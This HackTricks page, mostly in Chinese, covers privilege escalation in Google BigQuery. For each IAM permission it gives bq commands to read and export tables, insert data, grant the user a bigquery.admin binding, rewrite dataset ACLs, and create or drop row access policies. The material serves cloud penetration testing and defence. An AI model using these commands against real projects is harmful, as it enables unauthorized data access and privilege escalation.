GCP - BigQuery Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

BigQuery

有关 BigQuery 的更多信息，请查看：

GCP - Bigquery Enum

Read Table

读取存储在 BigQuery 表中的信息可能会找到敏感信息。访问这些信息所需的权限是**bigquery.tables.get、bigquery.jobs.create** 和 bigquery.tables.getData：

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

导出数据

这是访问数据的另一种方式。将其导出到云存储桶，然后下载包含信息的文件。 要执行此操作，需要以下权限：bigquery.tables.export，bigquery.jobs.create 和 storage.objects.create。

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

插入数据

在 Bigquery 表中引入某些受信任的数据，以利用其他地方的漏洞可能是可行的。这可以通过权限**bigquery.tables.get、bigquery.tables.updateData和bigquery.jobs.create**轻松完成：

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

攻击者可以滥用此权限来为自己提供更多权限，以便对 BigQuery 数据集进行操作：

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

仅此权限允许通过修改指示谁可以访问的ACL来更新您对BigQuery数据集的访问权限：

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

攻击者可以利用此权限为自己提供更多权限，以便对 BigQuery 表进行操作：

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

根据文档，拥有提到的权限可以更新行策略。 然而，使用cli bq 你还需要一些额外的权限：bigquery.rowAccessPolicies.create，bigquery.tables.get。

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:[e-mail]>") FILTER USING (term = "Cfba");' # A example filter was used

可以在行策略枚举的输出中找到过滤器 ID。示例：

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:[e-mail]   21 Jan 23:32:09   21 Jan 23:32:09

如果你有 bigquery.rowAccessPolicies.delete 而不是 bigquery.rowAccessPolicies.update，你也可以直接删除该策略：

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

另一个绕过行访问策略的潜在选项是直接更改受限数据的值。如果您只能在 term 为 Cfba 时查看数据，只需将表中的所有记录修改为 term = "Cfba"。但是，这在 bigquery 中是被阻止的。

学习和实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 电报群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。